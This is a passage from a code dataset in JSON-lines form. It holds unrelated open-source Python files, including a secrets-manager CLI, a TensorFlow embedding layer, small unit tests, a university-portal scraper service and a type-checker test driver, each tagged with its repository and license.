blind-credential metadata. By default the'\n ' dict keys are stored to help ensure blind credentials will not'\n ' conflict with each other when mapped to a service and also to'\n ' aid in use of the credentials in application code (since you'\n ' need to reference the key to get the value).'),\n action='store_false',\n dest='store_keys'\n )\n update_blind_cred_parser.add_argument(\n '--metadata',\n help=('A dict of key/value pairs to be stored as clear-text extensible'\n ' along with the credential in json format i.e.'\n ' \\'{\"path\":\"/etc/mysecret\",\"mode\":\"0600\"}\\'.'),\n type=json.loads\n )\n enabled_group = update_blind_cred_parser.add_mutually_exclusive_group()\n enabled_group.add_argument(\n '--enabled',\n help='Enable this credential (default).',\n action='store_true',\n dest='enabled'\n )\n enabled_group.add_argument(\n '--disabled',\n help='Disable this credential.',\n action='store_false',\n dest='enabled'\n )\n update_blind_cred_parser.add_argument(\n '--documentation',\n help='Documentation on how to rotate this credential'\n )\n update_blind_cred_parser.set_defaults(\n enabled=None,\n store_keys=True\n )\n\n get_blind_cred_parser = subparsers.add_parser('get_blind_credential')\n get_blind_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this blind credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n get_blind_cred_parser.add_argument(\n '--decrypt-blind',\n help=('Decrypt blind credentials, rather than giving back the raw'\n ' results from get_blind_credential.'),\n action='store_true',\n dest='decrypt_blind'\n )\n get_blind_cred_parser.set_defaults(\n decrypt_blind=False\n )\n\n subparsers.add_parser('list_blind_credentials')\n\n revert_cred_parser = subparsers.add_parser('revert_credential')\n revert_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n revert_cred_parser.add_argument(\n '--revision',\n help=('The revision number to revert to. Omit if you want to restore '\n 'the most recent revision.'),\n type=int\n )\n\n revert_service_parser = subparsers.add_parser('revert_service')\n revert_service_parser.add_argument(\n '--id',\n required=True,\n help=('The id for this service'),\n dest='_id'\n )\n revert_service_parser.add_argument(\n '--revision',\n help=('The revision number to revert to. Omit if you want to restore '\n 'the most recent revision.'),\n type=int\n )\n\n revert_blind_cred_parser = subparsers.add_parser('revert_blind_credential')\n revert_blind_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this blind_credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n revert_blind_cred_parser.add_argument(\n '--revision',\n help=('The revision number to revert to. Omit if you want to restore '\n 'the most recent revision.'),\n type=int\n )\n\n ca_get_certificate_parser = subparsers.add_parser('get_certificate')\n ca_get_certificate_parser.add_argument(\n '--ca',\n required=True,\n help='The certificate authority to issue a certificate from.',\n )\n ca_get_certificate_parser.add_argument(\n '--cn',\n help=('A cerftificate signing request (CSR) file to issue a certificate'\n 'from.'),\n )\n ca_get_certificate_parser.add_argument(\n '--san',\n nargs='+',\n help=('A list of subject alternative name values that should be'\n ' present in the issued certificate.'),\n )\n ca_get_certificate_parser.add_argument(\n '--validity',\n help='The validity of the certificate in number of days from today',\n type=int,\n default=120,\n )\n\n ca_get_certificate_from_csr_parser = subparsers.add_parser(\n 'get_certificate_from_csr'\n )\n ca_get_certificate_from_csr_parser.add_argument(\n '--ca',\n required=True,\n help='The certificate authority to issue a certificate from.',\n )\n ca_get_certificate_from_csr_parser.add_argument(\n '--csr-file',\n help=('A cerftificate signing request (CSR) file to issue a certificate'\n 'from.'),\n )\n ca_get_certificate_from_csr_parser.add_argument(\n '--validity',\n help='The validity of the certificate in number of days from today',\n type=int,\n default=120,\n )\n\n ca_get_ca_parser = subparsers.add_parser(\n 'get_ca'\n )\n ca_get_ca_parser.add_argument(\n '--ca',\n required=True,\n help='The certificate authority to get.',\n )\n\n subparsers.add_parser(\n 'list_cas'\n )\n return parser.parse_args()\n\n\ndef main():\n \"\"\"Entrypoint function for confidant cli.\"\"\"\n args = _parse_args()\n\n numeric_loglevel = getattr(logging, args.log_level.upper(), None)\n if not isinstance(numeric_loglevel, int):\n raise ValueError('Invalid log level: {0}'.format(args.loglevel))\n logging.basicConfig(\n level=numeric_loglevel,\n format='%(asctime)s %(name)s: %(levelname)s %(message)s',\n stream=sys.stderr\n )\n\n client = _get_client_from_args(args)\n\n ret = {'result': False}\n\n if args.subcommand == 'get_service':\n try:\n ret = client.get_service(\n args.service,\n args.decrypt_blind\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'create_blind_credential':\n contexts = {}\n if args.group_context:\n for region in args.blind_keys:\n contexts[region] = args.group_context\n else:\n contexts = args.blind_contexts\n try:\n ret = client.create_blind_credential(\n args.blind_keys,\n contexts,\n args.name,\n args.credential_pairs,\n args.metadata,\n args.cipher_type,\n args.cipher_version,\n args.store_keys,\n args.enabled,\n args.documentation\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'update_blind_credential':\n contexts = {}\n if args.group_context:\n for region in args.blind_keys:\n contexts[region] = args.group_context\n elif args.blind_contexts:\n contexts = args.blind_contexts\n else:\n contexts = None\n try:\n ret = client.update_blind_credential(\n args._id,\n args.blind_keys,\n contexts,\n args.name,\n args.credential_pairs,\n args.metadata,\n args.cipher_type,\n args.cipher_version,\n args.store_keys,\n args.enabled,\n args.documentation\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_blind_credential':\n try:\n ret = client.get_blind_credential(args._id, args.decrypt_blind)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'list_blind_credentials':\n try:\n ret = client.list_blind_credentials()\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'revert_credential':\n try:\n ret = client.revert_credential(args._id, args.revision)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'revert_blind_credential':\n try:\n ret = client.revert_blind_credential(args._id, args.revision)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'revert_service':\n try:\n ret = client.revert_service(args._id, args.revision)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_certificate':\n try:\n ret = client.get_certificate(\n args.ca,\n args.cn,\n args.san,\n args.validity,\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_certificate_from_csr':\n try:\n ret = client.get_certificate_from_csr(\n args.ca,\n args.csr_file,\n args.validity,\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_ca':\n try:\n ret = client.get_ca(args.ca)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'list_cas':\n try:\n ret = client.list_cas()\n except Exception:\n logging.exception('An unexpected general error occurred.')\n\n print(json.dumps(ret, sort_keys=True, indent=4, separators=(',', ': ')))\n if not ret['result']:\n sys.exit(1)\n\n\n# http://stackoverflow.com/questions/20094215\nclass _HelpAction(argparse._HelpAction):\n\n def __call__(self, parser, namespace, values, option_string=None):\n parser.print_help()\n print('')\n\n # retrieve subparsers from parser\n subparsers_actions = [\n action for action in parser._actions\n if isinstance(action, argparse._SubParsersAction)]\n for subparsers_action in subparsers_actions:\n # get all subparsers and print help\n for choice, subparser in subparsers_action.choices.items():\n print('Subcommand \\'{0}\\':'.format(choice))\n subparser.print_help()\n\n print(\n 'example: confidant get_service -u'\n ' \"https://confidant-production.example.com\" -k'\n ' \"alias/authnz-production\" --from myservice-production'\n ' --to confidant-production --user_type service'\n ' --region us-west-2 --service myservice-production'\n )\n\n parser.exit()\n\n\nif __name__ == '__main__':\n main()\n", "source": "lyft/python-confidant-client", "license": "Apache-2.0"}
+{"text": "import unittest\nfrom user import User\n\nclass UserTest(unittest.TestCase):\n \n def setUp(self):\n '''\n Set up method to run before each test cases.\n '''\n\n self.new_user = User('Paul','Mburu','paulmburu08@gmail.com','python34562')\n\n def tearDown(self):\n '''\n tearDown method that does clean up after each test case has run.\n '''\n\n User.login_details = []\n\n def test_init(self):\n '''\n test_init test case to test if the object is initialized properly\n '''\n self.assertEqual(self.new_user.first_name,'Paul')\n self.assertEqual(self.new_user.last_name,'Mburu')\n self.assertEqual(self.new_user.email,'paulmburu08@gmail.com')\n self.assertEqual(self.new_user.password,'python34562')\n\n def test_save_account(self):\n '''\n test_save_account test case to test if the new_user object is saved into\n the login_details\n '''\n\n self.new_user.save_account()\n self.assertEqual(len(User.login_details),1)\n\n def test_delete_account(self):\n '''\n test_delete_contact to test if we can remove an account from our login_details\n '''\n\n self.new_user.save_account()\n self.new_user.delete_account()\n\n self.assertEqual(len(User.login_details),0)\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "paulmburu08/Lockpass", "license": "MIT"}
+{"text": "import json\nimport csv\n\nwith open(\"zoopla.js\") as file:\n data = json.load(file)\n\nwith open(\"zoopla.csv\", \"w\") as file:\n csv_file = csv.writer(file)\n for item in data['listing']:\n csv_file.writerow([item['longitude'], item['latitude'], item['displayable_address'], item['listing_status'],\n item['price']\n ])\n #csv_file.writerow([item['longitude'], item['latitude']] + item['fields'].values())\n", "source": "lewiscowper/schoolmapper", "license": "MIT"}
+{"text": "# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"DynamicEmbedding related ops.\"\"\"\n\nimport typing\n\nfrom research.carls import context\nfrom research.carls import dynamic_embedding_config_pb2 as de_config_pb2\nfrom research.carls.kernels import gen_carls_ops\nimport tensorflow as tf\n\n\nclass DynamicEmbeddingLookup(tf.keras.layers.Layer):\n \"\"\"A Keras Layer for Dynamic Embedding Lookup.\n\n This is useful when the gradient descent update is required for embedding\n lookup. The input of this layer is a `Tensor` of string keys and it outputs\n the embedding output as a float `Tensor`.\n\n \"\"\"\n\n def __init__(self,\n config: de_config_pb2.DynamicEmbeddingConfig,\n var_name: typing.Text,\n service_address: typing.Text = \"\",\n timeout_ms: int = -1):\n \"\"\"Constructor for DynamicEmbeddingLookup.\n\n Args:\n config: A DynamicEmbeddingConfig proto that configures the embedding.\n var_name: A unique name for the given embedding.\n service_address: The address of a knowledge bank service. If empty, the\n value passed from --kbs_address (defined in\n .../carls/dynamic_embedding_manager.cc) flag will be used instead.\n timeout_ms: Timeout millseconds for the connection. If negative, never\n timout.\n\n Raises:\n ValueError: if var_name is `None` or empty.\n \"\"\"\n super(DynamicEmbeddingLookup, self).__init__()\n if not var_name:\n raise ValueError(\"Must specify a non-empty var_name.\")\n\n self.embedding_dimension = config.embedding_dimension\n context.add_to_collection(var_name, config)\n self.resource = gen_carls_ops.dynamic_embedding_manager_resource(\n config.SerializeToString(), var_name, service_address, timeout_ms)\n\n def build(self, input_shape):\n del input_shape # Not used.\n # Creates a placeholder variable for the dynamic_embedding_lookup() such\n # that the gradients can be passed into _dynamic_embedding_lookup_grad().\n self.grad_placeholder = self.add_weight(\n name=\"grad_placeholder\",\n shape=[1],\n dtype=tf.float32,\n trainable=True,\n initializer=tf.keras.initializers.zeros)\n\n def call(self, keys):\n return gen_carls_ops.dynamic_embedding_lookup(keys, self.grad_placeholder,\n self.resource,\n self.embedding_dimension)\n\n\ndef dynamic_embedding_lookup(keys: tf.Tensor,\n config: de_config_pb2.DynamicEmbeddingConfig,\n var_name: typing.Text,\n service_address: typing.Text = \"\",\n skip_gradient_update: bool = False,\n timeout_ms: int = -1) -> tf.Tensor:\n \"\"\"Returns the embeddings of from given keys.\n\n Args:\n keys: A string `Tensor` of shape [batch_size] or [batch_size,\n max_sequence_length] where an empty string would be mapped to an all zero\n embedding.\n config: A DynamicEmbeddingConfig proto that configures the embedding.\n var_name: A unique name for the given embedding.\n service_address: The address of a knowledge bank service. If empty, the\n value passed from --kbs_address flag will be used instead.\n skip_gradient_update: A boolean indicating if gradient update is needed.\n timeout_ms: Timeout millseconds for the connection. If negative, never\n timout.\n\n Returns:\n A `Tensor` of shape with one of below:\n - [batch_size, config.embedding_dimension] if the input Tensor is 1D, or\n - [batch_size, max_sequence_length, config.embedding_dimension] if the\n input is 2D.\n Raises:\n ValueError: If name is not specified.\n \"\"\"\n if not var_name:\n raise ValueError(\"Must specify a valid var_name.\")\n\n # If skip_gradient_update is true, reate a dummy variable so that the\n # gradients can be passed in.\n if skip_gradient_update:\n grad_placeholder = tf.constant(0.0)\n else:\n grad_placeholder = tf.Variable(0.0)\n\n context.add_to_collection(var_name, config)\n resource = gen_carls_ops.dynamic_embedding_manager_resource(\n config.SerializeToString(), var_name, service_address, timeout_ms)\n\n return gen_carls_ops.dynamic_embedding_lookup(keys, grad_placeholder,\n resource,\n config.embedding_dimension)\n\n\ndef dynamic_embedding_update(keys: tf.Tensor,\n values: tf.Tensor,\n config: de_config_pb2.DynamicEmbeddingConfig,\n var_name: typing.Text,\n service_address: typing.Text = \"\",\n timeout_ms: int = -1):\n \"\"\"Updates the embeddings of given keys with given values.\n\n Args:\n keys: A string `Tensor` of shape [batch] or [batch_size,\n max_sequence_length].\n values: A `Tensor` of shape [batch_size, embedding_dimension] or\n [batch_size, max_sequence_length, embedding_dimension].\n config: A DynamicEmbeddingConfig proto that configures the embedding.\n var_name: A unique name for the given embedding.\n service_address: The address of a dynamic embedding service. If empty, the\n value passed from --kbs_address flag will be used instead.\n timeout_ms: Timeout millseconds for the connection. If negative, never\n timout.\n\n Returns:\n A `Tensor` of shape with one of below:\n - [batch_size, config.embedding_dimension] if the input Tensor is 1D, or\n - [batch_size, max_sequence_length, config.embedding_dimension] if the\n input is 2D.\n Raises:\n TypeError: If var_name is not specified.\n \"\"\"\n if not var_name:\n raise TypeError(\"Must specify a valid var_name.\")\n\n context.add_to_collection(var_name, config)\n resource = gen_carls_ops.dynamic_embedding_manager_resource(\n config.SerializeToString(), var_name, service_address, timeout_ms)\n\n return gen_carls_ops.dynamic_embedding_update(keys, values, resource,\n config.embedding_dimension)\n\n\n@tf.RegisterGradient(\"DynamicEmbeddingLookup\")\ndef _dynamic_embedding_lookup_grad(op, grad):\n \"\"\"The gradient for DynamicEmbeddingLookup.\n\n Args:\n op: The gen_de_op.dynamic_embedding_lookup() op.\n grad: The tensor representing the gradient w.r.t. the output of the\n gen_de_op.dynamic_embedding_lookup() op.\n\n Returns:\n The gradients w.r.t. the input of the gen_de_op.dynamic_embedding_lookup()\n op.\n \"\"\"\n grad = tf.reshape(grad, [-1, grad.shape[-1]])\n return gen_carls_ops.dynamic_embedding_lookup_grad(\n op.inputs[0], # keys\n grad,\n op.inputs[2] # resource\n )\n", "source": "srihari-humbarwadi/neural-structured-learning", "license": "Apache-2.0"}
+{"text": "import os\n\nimport pytest\n\nimport nucleus\nfrom tests.helpers import TEST_DATASET_ITEMS, TEST_DATASET_NAME\n\nassert \"NUCLEUS_PYTEST_API_KEY\" in os.environ, (\n \"You must set the 'NUCLEUS_PYTEST_API_KEY' environment variable to a valid \"\n \"Nucleus API key to run the test suite\"\n)\n\nAPI_KEY = os.environ[\"NUCLEUS_PYTEST_API_KEY\"]\n\n\n@pytest.fixture(scope=\"session\")\ndef CLIENT():\n client = nucleus.NucleusClient(API_KEY)\n return client\n\n\n@pytest.fixture()\ndef dataset(CLIENT):\n ds = CLIENT.create_dataset(TEST_DATASET_NAME)\n ds.append(TEST_DATASET_ITEMS)\n yield ds\n\n CLIENT.delete_dataset(ds.id)\n\n\nif __name__ == \"__main__\":\n client = nucleus.NucleusClient(API_KEY)\n # ds = client.create_dataset(\"Test Dataset With Autotags\")\n # ds.append(TEST_DATASET_ITEMS)\n ds = client.get_dataset(\"ds_c5jwptkgfsqg0cs503z0\")\n job = ds.create_image_index()\n job.sleep_until_complete()\n print(ds.id)\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\r\n# @Date : 2016-02-21 15:43:36\r\n# @Author : jerry.liangj@qq.com\r\n\r\nimport base64\r\nimport json\r\nimport urllib\r\nfrom sgmllib import SGMLParser\r\nfrom time import time\r\n\r\nimport tornado.gen\r\nimport tornado.web\r\nfrom sqlalchemy.orm.exc import NoResultFound\r\nfrom tornado.httpclient import HTTPRequest, AsyncHTTPClient,HTTPError\r\n\r\nfrom config import loginurl1,runurl\r\nfrom mod.models.mysql.pe_models import PeDetailCache\r\n\r\n\r\nclass RunningParser(SGMLParser):\r\n def __init__(self):\r\n SGMLParser.__init__(self)\r\n \r\n def getRunningTable(self, text):\r\n self.table = []\r\n self.row = []\r\n self.flag = 0\r\n self.form = 0\r\n # _cookies = cookies\r\n # _url = 'http://zccx.seu.edu.cn/SportWeb/gym/gymExercise/gymExercise_query_result_2.jsp?xh=%s'%(card_id)\r\n self.feed(text)\r\n\r\n def start_form(self, attrs):\r\n self.form += 1\r\n\r\n def end_form(self):\r\n self.form -= 1\r\n msg = {}\r\n msg['sign_date'] = self.row[3]\r\n msg['sign_time'] = self.row[4]\r\n msg['sign_effect'] = self.row[6]\r\n self.table.append(msg)\r\n self.row = []\r\n\r\n\r\n def start_td(self, attrs):\r\n self.flag += 1\r\n\r\n def end_td(self):\r\n self.flag -= 1\r\n\r\n def handle_data(self, text):\r\n if self.flag == 3 and self.form == 1:\r\n self.row.append(text)\r\n\r\n\r\nclass pedetailHandler(tornado.web.RequestHandler):\r\n\t@property\r\n\tdef db(self):\r\n\t\treturn self.application.db\r\n\tdef on_finish(self):\r\n\t\tself.db.close()\r\n\tdef get(self):\r\n\t\tself.write('Herald Web Service')\r\n\r\n\t@tornado.web.asynchronous\r\n\t@tornado.gen.engine\r\n\tdef post(self):\r\n\t\tretjson = {'code':200,'content':''}\r\n\t\tcardnum = self.get_argument('cardnum',default=None)\r\n\t\tpassword = self.get_argument('password',default=None)\r\n\t\tstatus = None\r\n\t\tif not (cardnum and password):\r\n\t\t\tretjson['code'] = 400\r\n\t\t\tretjson['content'] = 'params lack'\r\n\t\telse:\r\n\t\t\t# read from cache\r\n\t\t\ttry:\r\n\t\t\t\tstatus = self.db.query(PeDetailCache).filter(PeDetailCache.cardnum == cardnum).one()\r\n\t\t\t\tif status.date > int(time())-10000 and status.text != '*':\r\n\t\t\t\t\tself.write(base64.b64decode(status.text))\r\n\t\t\t\t\tself.finish()\r\n\t\t\t\t\treturn\r\n\t\t\texcept NoResultFound:\r\n\t\t\t\tstatus = PeDetailCache(cardnum = cardnum,text = '*',date = int(time()))\r\n\t\t\t\tself.db.add(status)\r\n\t\t\t\ttry:\r\n\t\t\t\t\tself.db.commit()\r\n\t\t\t\texcept:\r\n\t\t\t\t\tself.db.rollback()\r\n\r\n\t\t\ttry:\r\n\t\t\t\tclient = AsyncHTTPClient()\r\n\t\t\t\tdata = {\r\n\t\t\t\t\t\"Login.Token1\" : cardnum,\r\n\t\t\t\t\t\"Login.Token2\" : password,\r\n\t\t\t\t\t'goto' : \"http://mynew.seu.edu.cn/loginSuccess.portal\",\r\n\t\t\t\t\t'gotoOnFail' : \"http://mynew.seu.edu.cn/loginFailure.portal\"\r\n\t\t\t\t}\r\n\t\t\t\tdata1 = {\r\n\t\t\t\t\t'IDToken0': '',\r\n\t\t\t\t\t'IDToken1':cardnum,\r\n\t\t\t\t\t'IDToken2':password,\r\n\t\t\t\t\t'IDButton':'Submit',\r\n\t\t\t\t\t'goto':'http://zccx.seu.edu.cn/',\r\n\t\t\t\t\t'gx_charset':'gb2312'\r\n\t\t\t\t}\r\n\r\n\t\t\t\tcookie1 = ''\r\n\t\t\t\trequest = HTTPRequest(\r\n\t\t\t\t\tloginurl1,\r\n\t\t\t\t\tmethod='POST',\r\n\t\t\t\t\tbody = urllib.urlencode(data1),\r\n\t\t\t\t\tfollow_redirects=False\r\n\t\t\t\t)\r\n\t\t\t\tinitcookie = ''\r\n\t\t\t\ttry:\r\n\t\t\t\t\tresponse = yield client.fetch(request)\r\n\t\t\t\texcept HTTPError as e:\r\n\t\t\t\t\tinitcookie = e.response.headers['Set-Cookie']\r\n\t\t\t\tinit_cookie1 = initcookie.split(';')[4].split(',')[1]#+initcookie.split(';')[0]\r\n\t\t\t\theader = {\r\n\t\t\t\t\t'Host':'zccx.seu.edu.cn',\r\n\t\t\t\t\t'Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\r\n\t\t\t\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',\r\n\t\t\t\t\t'Referer':'http://zccx.seu.edu.cn/',\r\n\t\t\t\t\t'Connection':'Keep-alive',\r\n\t\t\t\t\t'Accept-Encoding': 'gzip, deflate',\r\n\t\t\t\t\t'Accept-Language': 'zh-CN,zh;q=0.8',\r\n\t\t\t\t\t'Cookie':init_cookie1+';'+cookie1+';'+';amblcookie=02'\r\n\t\t\t\t}\r\n\t\t\t\trequest = HTTPRequest(\r\n\t\t\t\t\trunurl,\r\n\t\t\t\t\tmethod='GET',\r\n\t\t\t\t\theaders = header\r\n\t\t\t\t)\r\n\t\t\t\t\r\n\t\t\t\tresponse = yield client.fetch(request)\r\n\t\t\t\tcookie1 = response.headers['Set-Cookie']\r\n\t\t\t\theader['Cookie'] = init_cookie1+';'+cookie1+';'+';amblcookie=02' \r\n\t\t\t\tgetpeurl = \"http://zccx.seu.edu.cn/SportWeb/gym/gymExercise/gymExercise_query_result_2.jsp?xh=%s\"%(cardnum)\r\n\t\t\t\trequest = HTTPRequest(\r\n\t\t\t\t getpeurl,\r\n\t\t\t\t headers = header,\r\n\t\t\t\t request_timeout=8\r\n\t\t\t\t )\r\n\t\t\t\tresponse = yield client.fetch(request)\r\n\t\t\t\tspider = RunningParser()\r\n\t\t\t\tspider.getRunningTable(response.body)\r\n\t\t\t\tretjson['content'] = spider.table\r\n\t\t\texcept HTTPError as e:\r\n\t\t\t\tretjson['code'] = 500\r\n\t\t\t\tretjson['content'] = str(e)\r\n\t\tret = json.dumps(retjson, ensure_ascii=False, indent=2)\r\n\t\tself.write(ret)\r\n\t\tself.finish()\r\n\r\n\t\t# refresh cache\r\n\t\tif retjson['code'] == 200:\r\n\t\t\tstatus.date = int(time())\r\n\t\t\tstatus.text = base64.b64encode(ret)\r\n\t\t\tself.db.add(status)\r\n\t\t\ttry:\r\n\t\t\t\tself.db.commit()\r\n\t\t\texcept Exception,e:\r\n\t\t\t\tself.db.rollback()\r\n\t\t\tfinally:\r\n\t\t\t\tself.db.remove()", "source": "HeraldStudio/HeraldWebservice", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# pyre-strict\n\"\"\"Test driver for the fanout service.\n\nThe fanout service answers the question \"given these changed symbols, which\nfiles need to be re-typechecked\"?\n\nThe test driver verifies that the list of files to re-typecheck is the expected\nlist.\n\nTODO: Additionally, we perform the sanity check that the list of typechecking\nerrors produced from a full typecheck is the same as for an incremental\ntypecheck.\n\"\"\"\nimport argparse\nimport glob\nimport json\nimport os\nimport os.path\nimport pprint\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nfrom dataclasses import dataclass\nfrom typing import Dict, List, Optional, cast\n\n\nPath = str\n\n\ndef log(message: str) -> None:\n sys.stderr.write(message)\n sys.stderr.write(\"\\n\")\n\n\ndef copy(source: Path, dest: Path) -> None:\n log(f\"Copying {source} to {dest}\")\n shutil.copy(source, dest)\n\n\ndef exec(args: List[str]) -> str:\n log(f\"Running: {' '.join(args)}\")\n result = subprocess.check_output(args)\n return result.decode()\n\n\n@dataclass\nclass Env:\n root_dir: Path\n hh_fanout_path: Path\n hh_server_path: Path\n\n\n@dataclass\nclass SavedStateInfo:\n dep_table_path: Path\n naming_table_path: Path\n\n\ndef generate_saved_state(env: Env, target_dir: Path) -> SavedStateInfo:\n saved_state_path = os.path.join(target_dir, \"saved_state\")\n subprocess.check_call(\n [env.hh_server_path, env.root_dir, \"--save-state\", saved_state_path],\n # Don't include the \"No errors!\" output in the test output.\n stdout=sys.stderr,\n )\n return SavedStateInfo(\n dep_table_path=saved_state_path + \".sql\", naming_table_path=saved_state_path\n )\n\n\ndef relativize_path(env: Env, path: str) -> str:\n \"\"\"Convert an absolute path into a relative path for consistent test output.\"\"\"\n return os.path.relpath(path, env.root_dir)\n\n\ndef run_hh_fanout(\n env: Env,\n saved_state_info: SavedStateInfo,\n changed_files: List[Path],\n args: List[str],\n cursor: Optional[str],\n) -> Dict[str, object]:\n common_args = []\n common_args.extend((\"--from\", \"integration-test\"))\n common_args.extend((\"--root\", env.root_dir))\n common_args.extend((\"--verbosity\", \"high\"))\n common_args.extend((\"--naming-table-path\", saved_state_info.naming_table_path))\n common_args.extend((\"--dep-table-path\", saved_state_info.dep_table_path))\n common_args.extend((\"--state-path\", os.path.join(env.root_dir, \"hh_fanout_state\")))\n for changed_file in changed_files:\n common_args.extend((\"--changed-file\", changed_file))\n\n hh_fanout_args = list(common_args)\n if cursor is not None:\n hh_fanout_args.extend([\"--cursor\", cursor])\n result = exec([env.hh_fanout_path, \"calculate\", *hh_fanout_args, *args])\n result = json.loads(result)\n\n # Also include the debug output for when the test cases fail and need to be\n # debugged.\n debug_result = exec([env.hh_fanout_path, \"debug\", *common_args, *args])\n debug_result = json.loads(debug_result)\n result[\"debug\"] = debug_result[\"debug\"]\n\n return result\n\n\ndef sanitize_hh_fanout_result(env: Env, result: Dict[str, object]) -> None:\n result[\"files\"] = [\n relativize_path(env, path) for path in cast(List[str], result[\"files\"])\n ]\n\n debug_result = cast(Dict[str, object], result[\"debug\"])\n relevant_dep_edges = cast(List[Dict[str, str]], debug_result[\"relevant_dep_edges\"])\n for relevant_dep_edge in relevant_dep_edges:\n relevant_dep_edge[\"dependent_path\"] = relativize_path(\n env, relevant_dep_edge[\"dependent_path\"]\n )\n\n cursor = cast(str, result[\"cursor\"])\n delimiter = \",\"\n assert delimiter in cursor\n parts = cursor.split(delimiter)\n parts[-1] = \"\"\n result[\"cursor\"] = delimiter.join(parts)\n\n if \"telemetry\" in result:\n result[\"telemetry\"] = \"\"\n\n\ndef run_test(\n env: Env,\n saved_state_info: SavedStateInfo,\n test_path: Path,\n changed_files: List[Path],\n) -> None:\n result = run_hh_fanout(\n env=env,\n saved_state_info=saved_state_info,\n changed_files=changed_files,\n args=[test_path],\n cursor=None,\n )\n sanitize_hh_fanout_result(env, result)\n pprint.pprint(result)\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"test_path\", type=os.path.abspath)\n parser.add_argument(\"--hh-fanout\", type=os.path.abspath)\n parser.add_argument(\"--hh-server\", type=os.path.abspath)\n\n args = parser.parse_args()\n with tempfile.TemporaryDirectory() as work_dir:\n test_path = os.path.join(work_dir, os.path.relpath(args.test_path, os.getcwd()))\n with open(os.path.join(work_dir, \".hhconfig\"), \"w\") as f:\n f.write(\"\")\n for source_file in glob.glob(\n os.path.join(os.path.dirname(args.test_path), \"*.php\")\n ):\n copy(source_file, work_dir)\n\n env = Env(\n root_dir=work_dir,\n hh_fanout_path=args.hh_fanout,\n hh_server_path=args.hh_server,\n )\n saved_state_info = generate_saved_state(env, work_dir)\n\n i = 0\n while True:\n i += 1\n new_files = glob.glob(\n os.path.join(os.path.dirname(args.test_path), f\"*.new{i}\")\n )\n if not new_files and i > 1:\n break\n\n changed_files = []\n for source_file in new_files:\n source_file = os.path.relpath(source_file, os.getcwd())\n (target_filename, _) = os.path.splitext(source_file)\n target_path = os.path.join(work_dir, target_filename)\n changed_files.append(target_path)\n copy(source_file, target_path)\n\n print(f\"Change set #{i}\")\n run_test(\n env=env,\n saved_state_info=saved_state_info,\n test_path=test_path,\n changed_files=changed_files,\n )\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "tahmidbintaslim/hhvm", "license": "PHP-3.01"}
+{"text": "from banyan.api.base import ServiceBase\nfrom banyan.model.policy import PolicyInfoOrName, PolicyAttachInfo\nfrom banyan.model.service import ServiceInfo, Service, ServiceInfoOrName\n\n\nclass ServiceAPI(ServiceBase):\n class Meta:\n data_class = Service\n info_class = ServiceInfo\n arg_type = ServiceInfoOrName\n list_uri = '/registered_services'\n delete_uri = '/delete_registered_service'\n insert_uri = '/insert_registered_service'\n uri_param = 'ServiceID'\n obj_name = 'service'\n\n def enable(self, service: ServiceInfoOrName) -> str:\n service = self.find(service)\n json_response = self._client.api_request('POST',\n '/enable_registered_service',\n params={'ServiceID': service.id})\n return json_response['Message']\n\n def disable(self, service: ServiceInfoOrName) -> str:\n service = self.find(service)\n json_response = self._client.api_request('POST',\n '/disable_registered_service',\n params={'ServiceID': service.id})\n return json_response['Message']\n\n def attach(self, service: ServiceInfoOrName, policy: PolicyInfoOrName, enforcing: bool) -> PolicyAttachInfo:\n from banyan.api.policy import PolicyAPI\n return PolicyAPI(self._client).attach(policy, service, enforcing)\n\n def detach(self, service: ServiceInfoOrName, policy: PolicyInfoOrName) -> str:\n from banyan.api.policy import PolicyAPI\n return PolicyAPI(self._client).detach(policy, service)\n\n def test(self, service: ServiceInfoOrName) -> None:\n pass\n", "source": "rb-nr/pybanyan", "license": "Apache-2.0"}
